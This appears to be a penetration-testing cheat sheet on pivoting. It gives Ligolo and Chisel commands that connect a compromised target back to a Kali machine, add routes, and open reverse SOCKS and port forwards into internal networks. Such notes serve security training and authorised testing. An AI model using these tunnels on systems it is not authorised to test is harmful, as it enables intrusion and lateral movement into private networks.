2. Pivoting

#1. Ligolo

on Kali:

# Listening
sudo ./proxy -selfcert
 
# After Session Connected
session 
1 (enter appropriate session number)
autoroute
 
# manual add
session 
1 (enter appropriate session number)
start --tun ligolo1
sudo ip route add 10.10.10.0/24 dev ligolo1
sudo ip route add 240.0.0.1/32 dev ligolo1

on Agent Host(Target Host):

# Linux
./agent -connect 10.10.10.10:11601 -ignore-cert
 
# Windows
.\agent.exe -connect 10.10.10.10:11601 -ignore-cert

Listener_add:

# on Kali Ligolo Proxy Session
listener_add --addr 0.0.0.0:4444 --to 127.0.0.1:11601

• Packets coming to the Agent Host’s port 4444 will be sent to Kali

Access to agent host’s Local Port:

sudo ip route add 240.0.0.1/32 dev ligolo1
curl 240.0.0.1:8080

---

#2. Chisel

on Kali:

./chisel server --port 443 --reverse

Setup Dynamic Port Forwading on Target (need proxychains to use it):

./chisel client 10.10.10.10:443 R:socks > /dev/null 2>&1 &

Setup 1:1 Port Forwarding on Target:

./chisel client 10.10.10.10:443 R:8080:127.0.0.1:8080 R:8081:127.0.0.1:8081 > /dev/null 2>&1 &

• Packets coming to the Kali’s port 8080,8081 will be sent to Target’s Local 8080,8081 via Kali’s Port 443